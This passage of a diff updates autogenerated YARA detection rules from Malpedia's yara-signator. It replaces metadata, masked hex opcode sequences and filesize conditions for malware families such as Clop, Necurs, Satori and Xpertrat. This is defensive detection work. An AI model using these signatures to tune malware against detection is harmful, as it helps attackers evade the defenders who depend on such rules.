+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chainshot_auto.yar#L1-L111"
 		license_url = "N/A"
-		logic_hash = "c8887b0fd33237ed86a90a507f71d2f7eed9cc8f7e7e530376d7c59ae0763d11"
+		logic_hash = "ba9c33c28d22ea04923b796ce7a5cfd0e30c1f14b0a956e4cbe61344e61c7def"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153320,38 +160466,32 @@ rule MALPEDIA_Win_Xpertrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0870ff 0d80000700 0474 ff0478 }
-		$sequence_1 = { ff0a 250004003c 6c 70ff 0808 }
-		$sequence_2 = { ff05???????? 000d???????? 0878ff 0d98000700 6e 74ff }
-		$sequence_3 = { 0808 008f38001b26 001b 0d002a2364 ff08 }
-		$sequence_4 = { ff4d40 ff08 40 0430 ff0a 4c 000c00 }
-		$sequence_5 = { 0000 00a1cc004400 0bc0 7402 ffe0 68???????? }
-		$sequence_6 = { 0808 008a3800cc1c 5e 006c70ff 0808 }
-		$sequence_7 = { 007168 ff0468 ff0a 250004003c }
-		$sequence_8 = { ff15???????? 68fffe0000 ffd3 8bd0 }
-		$sequence_9 = { ff15???????? 68???????? ffd7 8b1d???????? }
-		$sequence_10 = { ff15???????? 6a00 6818000368 8b4508 }
-		$sequence_11 = { ff15???????? 68???????? ff15???????? 50 8d858cfeffff }
-		$sequence_12 = { ff15???????? 69c0e8030000 0f80b50a0000 50 }
-		$sequence_13 = { ff15???????? 6a00 6822000360 8b03 }
-		$sequence_14 = { ff15???????? 6a00 68???????? 6a00 68???????? 8b55e0 }
-		$sequence_15 = { ff15???????? 6a00 6806000368 8b4dd4 }
+		$sequence_0 = { 731b 85c9 7906 b840000000 }
+		$sequence_1 = { 8d68fc c70726000000 e9???????? c70709000000 bd02000000 }
+		$sequence_2 = { 7509 e8???????? 85c0 7808 }
+		$sequence_3 = { 6683f819 7705 8d4220 eb03 0fb7c2 0fb7c0 }
+		$sequence_4 = { b901070080 e8???????? eb89 8bd7 }
+		$sequence_5 = { 7408 ffd0 8905???????? bfa3000080 e9???????? }
+		$sequence_6 = { ffc8 0f843a110000 ffc8 7427 83e803 0f844a110000 }
+		$sequence_7 = { 7408 ffd0 8905???????? bb82000080 }
+		$sequence_8 = { 8d4a02 b8abaaaaaa f7e1 d1ea }
+		$sequence_9 = { ffc8 747a ffc8 7461 83e802 }
 
 	condition:
-		7 of them and filesize <8560640
+		7 of them and filesize <802816
 }
-rule MALPEDIA_Win_Glitch_Pos_Auto : FILE
+rule MALPEDIA_Win_Clop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f95f1f9c-9245-5181-9c68-89e1dc86d5ed"
+		id = "59cb28c0-0028-51c2-94ee-931d5b6fa068"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glitch_pos_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.clop_auto.yar#L1-L188"
 		license_url = "N/A"
-		logic_hash = "27fcd67a00a15c3597cc82166656216e7d9a07529c9493cfeef64f5dddb0c04c"
+		logic_hash = "f2736024915a6a0ca98a26d3016fbd37034bb9a8e1a0f37004991cc314f844e2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153365,32 +160505,41 @@ rule MALPEDIA_Win_Glitch_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83a5d8feffff00 8b45b8 898518ffffff 8d45d0 50 8b8518ffffff }
-		$sequence_1 = { 8b4508 8b00 ff7508 ff9028070000 668b45d4 662d0100 }
-		$sequence_2 = { ffb504ffffff e8???????? 89855cfeffff eb07 83a55cfeffff00 8d8d5cffffff e8???????? }
-		$sequence_3 = { e8???????? 8d8520ffffff 50 8d8530ffffff 50 8d45dc 50 }
-		$sequence_4 = { 68???????? 68???????? e8???????? c78568feffff2cc34600 eb0a c78568feffff2cc34600 8b8568feffff }
-		$sequence_5 = { eb07 83a5fcfdffff00 8d45c4 50 8d45cc 50 6a02 }
-		$sequence_6 = { 8b4d10 660301 0f8058040000 668945ec 8b4508 8b00 }
-		$sequence_7 = { 83c40c 68???????? 6a00 6a06 8b4508 }
-		$sequence_8 = { 8d45b4 50 8d45b8 50 6a03 e8???????? }
-		$sequence_9 = { 8bec 83ec0c 68???????? 64a100000000 50 64892500000000 b8bc000000 }
+		$sequence_0 = { 83c40c 6860070000 6a40 ff15???????? }
+		$sequence_1 = { 6a04 6800300000 6887000000 6a00 }
+		$sequence_2 = { ff15???????? 56 53 8bf8 ff15???????? 8bf0 56 }
+		$sequence_3 = { 57 6a00 ff15???????? 68???????? 8bd8 }
+		$sequence_4 = { ff15???????? 8bf0 56 53 ff15???????? 50 }
+		$sequence_5 = { 6683e07f 6683f87f 8d642408 0f85fd0b0000 eb00 f30f7e442404 660f2815???????? }
+		$sequence_6 = { 50 ff15???????? 83c40c 6860070000 }
+		$sequence_7 = { ffd0 c3 8bff 55 8bec 83ec1c 8d4de4 }
+		$sequence_8 = { 0f85aa010000 68???????? 8d442450 50 }
+		$sequence_9 = { 8be5 5d c20400 56 ff15???????? 6a00 }
+		$sequence_10 = { 8d85bcefffff 50 ff15???????? 68???????? }
+		$sequence_11 = { 68???????? 68???????? e8???????? 83c424 6aff }
+		$sequence_12 = { 6888130000 ffd7 6a00 6a00 6a00 68???????? }
+		$sequence_13 = { ff15???????? 68???????? 8d85dcf7ffff 50 }
+		$sequence_14 = { 83c408 6aff ff15???????? 33c0 }
+		$sequence_15 = { 83c40c 33f6 85ff 7428 }
+		$sequence_16 = { 83c424 53 50 ffd6 }
+		$sequence_17 = { 6aff ffd7 8b4dfc 33c0 5f }
+		$sequence_18 = { 8d8424dc0b0000 50 ffd6 85c0 751a 68???????? 8d8424dc0b0000 }
 
 	condition:
-		7 of them and filesize <1024000
+		7 of them and filesize <796672
 }
-rule MALPEDIA_Win_Webc2_Rave_Auto : FILE
+rule MALPEDIA_Win_Necurs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ea4a2e95-f571-5243-9ef5-0d9d72800185"
+		id = "3d1b7316-0e79-5ade-97ef-8f3ac3ffb54d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_rave_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.necurs_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "2cbb2512779b7c01486a2ad87d98dfe34ac5aeaa8fcccabe432ae13b764de599"
+		logic_hash = "75c1414f6695a00e2fea038874de3164067ad0287567965dcfd36d5ca522d078"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153404,32 +160553,38 @@ rule MALPEDIA_Win_Webc2_Rave_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8454010000 8b35???????? 8d542414 6a00 }
-		$sequence_1 = { 0f84ea000000 8d542414 6a00 52 8d44241a 6a01 }
-		$sequence_2 = { 56 68???????? 53 52 ffd7 3bc3 894614 }
-		$sequence_3 = { f7d1 49 3bd9 72e5 }
-		$sequence_4 = { 8d442418 50 51 e8???????? 85c0 74b1 }
-		$sequence_5 = { 895c2448 ffd7 3bc3 894610 7517 }
-		$sequence_6 = { 7418 8b742418 46 4f }
-		$sequence_7 = { 33c9 33f6 85ed 7e45 8b942414020000 53 }
-		$sequence_8 = { 03d1 8bca 894c2414 7872 }
-		$sequence_9 = { e8???????? 83c404 ff15???????? 85ff }
+		$sequence_0 = { 13f2 a3???????? 8935???????? 890d???????? 8bc1 5e }
+		$sequence_1 = { 030d???????? a3???????? a1???????? 13f2 a3???????? }
+		$sequence_2 = { 13f2 33d2 030d???????? a3???????? }
+		$sequence_3 = { 8bc2 034508 5e 5d c3 55 }
+		$sequence_4 = { 03c8 a1???????? 13f2 33d2 }
+		$sequence_5 = { 56 8bf2 ba06e0a636 f7e2 }
+		$sequence_6 = { 397508 7604 33c0 eb12 }
+		$sequence_7 = { 2b7508 33d2 46 f7f6 8bc2 034508 }
+		$sequence_8 = { 8d85ecfbffff 57 50 e8???????? 83c410 }
+		$sequence_9 = { 33d7 33c1 52 50 }
+		$sequence_10 = { 6a7d 50 ffd6 59 }
+		$sequence_11 = { 8bc1 0bc7 7409 8bc1 8bd7 e9???????? }
+		$sequence_12 = { 57 57 8d8574ffffff 50 }
+		$sequence_13 = { 6a7b 50 ffd6 8bf8 59 59 }
+		$sequence_14 = { 53 ff15???????? 59 33c0 5e }
+		$sequence_15 = { a1???????? 33d2 f7f1 ff05???????? }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Rgdoor_Auto : FILE
+rule MALPEDIA_Win_Onliner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4140ffd6-129c-5510-99e3-ad151c975d1e"
+		id = "c0a25174-badc-5a1b-a67c-48cbb1aef2be"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rgdoor_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.onliner_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "bf6d408b52f68286adc8c589928141fb2586a77ca6ee142e58e02ec6b6fb2c0d"
+		logic_hash = "6df36365f1b8dbe7cdb1d0b03d64f7da847c99d2518d7b5ebc1610f68ca3a069"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153443,32 +160598,32 @@ rule MALPEDIA_Win_Rgdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7512 448bfb 448be3 4c8d35d4870100 e9???????? bd01000000 ba98000000 }
-		$sequence_1 = { 488bce eb9d 33db 41b803010000 488bd6 e8???????? }
-		$sequence_2 = { 4533f6 eb0e 4983ceff 90 49ffc6 42381c32 75f7 }
-		$sequence_3 = { e8???????? b802000000 eb30 48837dd010 720a 488b4db8 }
-		$sequence_4 = { e8???????? 488d05554b0200 4889442458 488d15398d0200 488d4c2458 }
-		$sequence_5 = { e8???????? 83f8ff 0f8490050000 80bc247001000077 750a 8bde 448be6 }
-		$sequence_6 = { 8938 e8???????? 488d1d8b390200 4885c0 7404 }
-		$sequence_7 = { 4883ec20 488d3d8bf90100 48393d???????? 742b }
-		$sequence_8 = { 48837db010 480f435598 41b822000000 488d8de8000000 e8???????? 4885c0 488b85e0000000 }
-		$sequence_9 = { 488bce ff15???????? 8bf8 eb25 488b8c2490000000 e9???????? 48895c2420 }
+		$sequence_0 = { 0f8274ffffff 6683ff04 0f8596000000 33ff 8d45e4 668b55ee c1e202 }
+		$sequence_1 = { 8d8db4feffff 8bd3 8bc6 8b38 ff570c 8b85b4feffff 5a }
+		$sequence_2 = { 85c0 7405 3b50fc 7205 e8???????? 42 8d4410ff }
+		$sequence_3 = { 50 6a00 8bc3 e8???????? 50 ff15???????? }
+		$sequence_4 = { 3b45e4 0f84ab000000 ff45e4 807dee00 742c 8b55e4 2bd0 }
+		$sequence_5 = { 3345fc 03c6 0345cc 05c8fbd3e7 ba14000000 e8???????? 03c7 }
+		$sequence_6 = { 8bda 8bf0 8bc3 ba02000000 e8???????? 8bc3 e8???????? }
+		$sequence_7 = { 33c0 8945ec 837df000 7426 83caff 8b45f8 }
+		$sequence_8 = { 3bc3 7c07 807c1eff20 74f4 57 b9ffffff7f 8bd3 }
+		$sequence_9 = { 8b45fc 8b88d0010000 ba02000000 8b45fc 8b18 ff534c ff75e4 }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <1736704
 }
-rule MALPEDIA_Win_Joanap_Auto : FILE
+rule MALPEDIA_Win_Jupiter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7b68fae3-26c2-54e0-a3e7-133f1581d080"
+		id = "36445056-0ae8-5be8-adc6-1a78abf2ec58"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.joanap_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jupiter_auto.yar#L1-L112"
 		license_url = "N/A"
-		logic_hash = "e8c4ce689f2f9423d9b3c5df5ab94aca097fbbc5a318100a67230ed53bf34f3c"
+		logic_hash = "f1911af4b4fd9bd3e29d91af55822bde97c05f4b517de64421dfe8b0d1264d94"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153482,32 +160637,32 @@ rule MALPEDIA_Win_Joanap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b8c242c010000 66c74424140200 51 c744241c7f000001 ff15???????? 8d542414 }
-		$sequence_1 = { 56 85c0 57 0f8483000000 53 ff15???????? 50 }
-		$sequence_2 = { 0f8488000000 6a04 e8???????? 8b442414 8d6b06 66897304 }
-		$sequence_3 = { f7d1 49 81f908020000 7332 56 ff15???????? 8bf8 }
-		$sequence_4 = { 750c 8d8c24b8020000 e9???????? 8d8c241b020000 51 56 ffd7 }
-		$sequence_5 = { 85c0 0f85cbfeffff 8b4c2410 51 ff15???????? 57 ff15???????? }
-		$sequence_6 = { ff15???????? 85c0 0f84cf000000 8b4c2420 51 6a01 68ff0f1f00 }
-		$sequence_7 = { 55 8bac2420010000 56 8b35???????? 57 33ff 8b842424010000 }
-		$sequence_8 = { 8b442414 83c018 47 3dd0020000 89442414 0f8c73ffffff 8b742410 }
-		$sequence_9 = { 0bc0 5b 81c470210000 c3 6a01 6820bf0200 8d8c2488010000 }
+		$sequence_0 = { 8a4147 884104 8a4146 884105 8b4144 c1f808 884106 }
+		$sequence_1 = { c605????????01 66c705????????0101 c605????????01 c605????????01 66c705????????0101 }
+		$sequence_2 = { 8b4144 c1f808 884106 8a4144 884107 }
+		$sequence_3 = { 884105 8b4144 c1f808 884106 8a4144 }
+		$sequence_4 = { 50 6802000000 ff35???????? ff35???????? }
+		$sequence_5 = { 66c705????????0101 c605????????01 c605????????01 c605????????01 }
+		$sequence_6 = { 884105 8b4144 c1f808 884106 8a4144 884107 }
+		$sequence_7 = { c1f808 884106 8a4144 884107 }
+		$sequence_8 = { c605????????01 66c705????????0101 c605????????01 c605????????01 }
+		$sequence_9 = { 884104 8a4146 884105 8b4144 }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <224112
 }
-rule MALPEDIA_Win_Ransomlock_Auto : FILE
+rule MALPEDIA_Elf_Satori_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "14d92420-c852-5e3f-a3ed-35c5bfb9c9b6"
+		id = "ef9a3def-11bf-57c1-9abe-eaf3ea87bbf4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ransomlock_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.satori_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "febe0932e68debf15b0eb0e37d5a00d2ff8a7e3a0c0b884f506cda6ff33b2a0c"
+		logic_hash = "acc91f43f84cb8d9ebcbacb4d453867e5ba0d238d6255f05df970cd0ecb540bb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153521,32 +160676,32 @@ rule MALPEDIA_Win_Ransomlock_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 83c408 8b0d???????? 6a64 51 ff15???????? }
-		$sequence_1 = { 99 2bc2 6a00 8bd1 d1ea d1f8 }
-		$sequence_2 = { 8b5120 56 50 ffd2 85c0 7807 c745ec01000000 }
-		$sequence_3 = { 0f8418010000 8b08 8d55fc 52 50 8b4120 }
-		$sequence_4 = { 0fb7047521664000 4e 6685c0 75ec 57 68???????? ffd3 }
-		$sequence_5 = { 50 ff15???????? 83c410 6a01 53 }
-		$sequence_6 = { 57 ff15???????? 8d70ff 0fb70477 6685c0 7413 8bff }
-		$sequence_7 = { 90 68???????? 33f6 ff15???????? a1???????? 85c0 7429 }
-		$sequence_8 = { 8b45f0 3bc6 0f8418010000 8b08 8d55fc 52 50 }
-		$sequence_9 = { 52 8d8574fdffff 68???????? 50 ff15???????? 83c410 6a01 }
+		$sequence_0 = { 85c0 7804 8b542414 89d0 83c41c }
+		$sequence_1 = { e8???????? b9???????? b802000000 89ca e8???????? }
+		$sequence_2 = { 89c6 53 89d3 83ec10 52 e8???????? }
+		$sequence_3 = { b802000000 e8???????? b905000000 ba???????? b802000000 e8???????? b908000000 }
+		$sequence_4 = { c744244800000000 e9???????? 8b542404 8b3482 6bc018 03442464 }
+		$sequence_5 = { e8???????? 83c414 6a1f e8???????? c7042420000000 e8???????? c785280400001e000000 }
+		$sequence_6 = { 85c0 7416 83ec0c ff35???????? e8???????? 59 6a00 }
+		$sequence_7 = { 3b410c 747c 8b45bc 83ec0c 8b55cc 8d5def 8945e0 }
+		$sequence_8 = { 6a04 56 53 e8???????? 8844243a 83c420 6a00 }
+		$sequence_9 = { 6a15 68???????? 6a1d e8???????? 83c40c 6a15 68???????? }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Bleachgap_Auto : FILE
+rule MALPEDIA_Win_Mykings_Spreader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c7bcc3b-871c-5292-a898-130d22929e4c"
+		id = "96a12e80-b15f-580e-920d-d6c0d35464b0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bleachgap_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mykings_spreader_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "feb4beb187c6596a9fcad947329bf36b55b60b3bae8b02c6a93cdc46dd85c07a"
+		logic_hash = "1bcd674173fea4b83a2f4219e8f61306a972490f94a89cfaf5e1f466fdec8eff"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153560,71 +160715,71 @@ rule MALPEDIA_Win_Bleachgap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bec ff750c e8???????? 8bc8 83f9ff 7506 32c0 }
-		$sequence_1 = { c645fc04 8b8d70fbffff 83f910 722f 8b955cfbffff 41 8bc2 }
-		$sequence_2 = { e9???????? ff7104 8d442414 6800010000 50 e8???????? 8d442410 }
-		$sequence_3 = { c68539ffffff7a c6853affffff5f c6853bffffff55 c6853cffffff41 c6853dffffff57 c6853effffff3c c6853fffffff41 }
-		$sequence_4 = { eb0d 8b450c 8945b8 c745b400000000 84c9 8d4dd4 0f44f2 }
-		$sequence_5 = { c6431000 894924 c645fc02 8d45e0 c645e801 0f57c0 660fd607 }
-		$sequence_6 = { 88442426 8b442410 0413 3457 88442427 8b442410 0414 }
-		$sequence_7 = { b801000000 d3e0 8502 0f8459ffffff 8b4614 8b5714 8b0e }
-		$sequence_8 = { ff750c 50 e8???????? 83c410 85c0 0f84d9010000 53 }
-		$sequence_9 = { 8a13 8bc1 8b4df0 43 41 894df4 3810 }
+		$sequence_0 = { 7519 51 55 8bce e8???????? 6a00 6a00 }
+		$sequence_1 = { 8b1e ff938c000000 8b0424 8b5014 85d2 7507 bf00000000 }
+		$sequence_2 = { e8???????? 837e1800 7439 8b4620 c1e003 89c7 8b4618 }
+		$sequence_3 = { 89c1 c745f401000000 3b4df4 723d ff4df4 8d7600 ff45f4 }
+		$sequence_4 = { 68???????? 50 ff15???????? a3???????? 83c0fe 40 40 }
+		$sequence_5 = { 8942fc 89d8 c1f81f 8b1424 8b7208 8b4a0c 29de }
+		$sequence_6 = { eb02 b300 e8???????? 8d45cc e8???????? c745cc00000000 58 }
+		$sequence_7 = { 33d2 b9???????? 8bc2 8bf2 c1f805 83e61f 8b0485a02e4100 }
+		$sequence_8 = { 89d8 29f0 85c0 7e39 8b55f4 85d2 7505 }
+		$sequence_9 = { 8b7508 8b36 8975c8 8b7d08 8b7f04 }
 
 	condition:
-		7 of them and filesize <4538368
+		7 of them and filesize <1581056
 }
-rule MALPEDIA_Win_Glassrat_Auto : FILE
+rule MALPEDIA_Win_Unidentified_101_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "daeaa019-8217-55aa-beac-5fb62572b79c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glassrat_auto.yar#L1-L117"
+		id = "1e5a977c-e7e9-5732-97b6-6aadc4f691fc"
+		date = "2023-03-28"
+		modified = "2023-04-07"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_101_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "c91259f84ec94eec4bc87c666b3c91ba45af3572c135cc4f200070d560141e5d"
+		logic_hash = "71f0751fbd77a928634515b558d06922b4bf4a312042d6abbd6ba70171c64843"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20230328"
+		malpedia_hash = "9d2d75cef573c1c2d861f5197df8f563b05a305d"
+		malpedia_version = "20230407"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d542438 83c9ff 33c0 f2ae f7d1 2bf9 8bc1 }
-		$sequence_1 = { ff15???????? 33c0 8b5504 8944241d 8d4c241c }
-		$sequence_2 = { 747a 3bfe 7476 56 56 56 53 }
-		$sequence_3 = { 895db8 895dbc ff15???????? 85c0 0f84bb000000 }
-		$sequence_4 = { 3bc8 b802000000 0f85b4000000 33d2 b909020000 52 83ec10 }
-		$sequence_5 = { 6a04 51 52 8844243b }
-		$sequence_6 = { 8b460c 53 53 57 50 }
-		$sequence_7 = { 8bce ff12 57 ff15???????? 8d4c2420 }
-		$sequence_8 = { 89442418 ff15???????? 8b4d04 8b1d???????? }
-		$sequence_9 = { 89442408 89542404 8a15???????? 33c0 }
+		$sequence_0 = { c70016000000 e8???????? 83c8ff e9???????? 498bc4 488d0ddb070100 83e03f }
+		$sequence_1 = { 6689842404010000 b865000000 6689842406010000 33c0 6689842408010000 }
+		$sequence_2 = { 33c0 b968000000 f3aa 488d842400010000 4889442448 488d842430020000 4889442440 }
+		$sequence_3 = { 4889742410 57 4883ec20 418bf0 4c8d0debb40000 8bda 4c8d05dab40000 }
+		$sequence_4 = { c744243000000000 4c8d4c2430 4c8b442440 8b542468 488b4c2460 }
+		$sequence_5 = { c68424e900000065 c68424ea00000057 c68424eb00000000 c644243052 c644243165 c644243261 c644243364 }
+		$sequence_6 = { 428a8c1910e40100 4c2bc0 418b40fc 4d894108 d3e8 41894120 }
+		$sequence_7 = { 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 488b4c2470 ff15???????? }
+		$sequence_8 = { 41b804010000 488d942400030000 33c9 ff15???????? c744245801000000 e8???????? 833d????????01 }
+		$sequence_9 = { 7528 48833d????????00 741e 488d0dd8450100 e8???????? 85c0 740e }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <402432
 }
-rule MALPEDIA_Win_Flusihoc_Auto : FILE
+rule MALPEDIA_Win_Lightneuron_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "78da62a5-c798-5ed3-b0d2-4c7f68889a1b"
+		id = "539cc86b-948c-5a39-97ed-a3902d358bcb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flusihoc_auto.yar#L1-L168"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightneuron_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "9c728cded699d733d4c529cd8d0e45713d382315b1100a325978e10da75fc22d"
+		logic_hash = "eb817806e099f7ab1d4d5a04d338d80185e8c65715cfe2e18f8deb16ab95898d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -153638,38 +160793,32 @@ rule MALPEDIA_Win_Flusihoc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bec 83e4f8 81ece40b0000 a1???????? }
-		$sequence_1 = { 53 56 57 6a40 8d442428 6a00 50 }
-		$sequence_2 = { 50 f3a5 c684246402000000 e8???????? }
-		$sequence_3 = { a1???????? 33c4 89842450160000 53 56 8b7508 57 }
-		$sequence_4 = { 52 ffd6 6a0a ff15???????? }
-		$sequence_5 = { 7507 80864d01000004 83f822 7506 }
-		$sequence_6 = { ffd3 8b442410 6aff 50 ff15???????? }
-		$sequence_7 = { 50 f3a5 c684246401000000 e8???????? 83c40c }
-		$sequence_8 = { 6a00 50 c744242c44000000 e8???????? }
-		$sequence_9 = { 83f822 7506 fe8e42010000 3d14010000 7506 }
-		$sequence_10 = { 8b8c245c160000 5f 5e 5b 33cc 33c0 e8???????? }
-		$sequence_11 = { ff15???????? 8b4c2410 51 ffd6 8b542414 52 ffd6 }
-		$sequence_12 = { 3d68010000 7505 fe06 fe4e17 83f834 7503 fe4e18 }
-		$sequence_13 = { 51 6a00 ff15???????? 8d95f4feffff 52 6806000200 }
-		$sequence_14 = { 6804010000 8d85f8feffff 50 6a01 }
-		$sequence_15 = { 68???????? 6802000080 ff15???????? 85c0 752f 8b8df4feffff }
+		$sequence_0 = { e8???????? 488d8c2434010000 33d2 41b800010000 89b42430010000 e8???????? 488bcf }
+		$sequence_1 = { 0f4ed9 3bc5 770b 3beb 7707 b801000000 eb02 }
+		$sequence_2 = { 85d2 7e24 488b8f80000000 e8???????? 488b8f80000000 4885c9 740c }
+		$sequence_3 = { e8???????? 8bf0 85c0 7502 893b 85f6 754c }
+		$sequence_4 = { 4503c1 453bc1 4183d200 4403c0 443bc0 45894304 }
+		$sequence_5 = { 448bc3 e8???????? 448bc3 33d2 498bcd e8???????? 498bcd }
+		$sequence_6 = { 4c0f45c0 488b05???????? 4885c0 480f45d0 488d442448 4889442430 4c896c2428 }
+		$sequence_7 = { 488bd0 498bcc e8???????? 4d8b0c24 458b44240c 33d2 }
+		$sequence_8 = { 48895c2428 89442420 e8???????? 448b05???????? 4533c9 ba9d010000 b900001000 }
+		$sequence_9 = { 4533c9 4533c0 babf000000 b900001000 48895c2428 89442420 e8???????? }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <573440
 }
-rule MALPEDIA_Win_Funny_Dream_Auto : FILE
+rule MALPEDIA_Win_Bunitu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
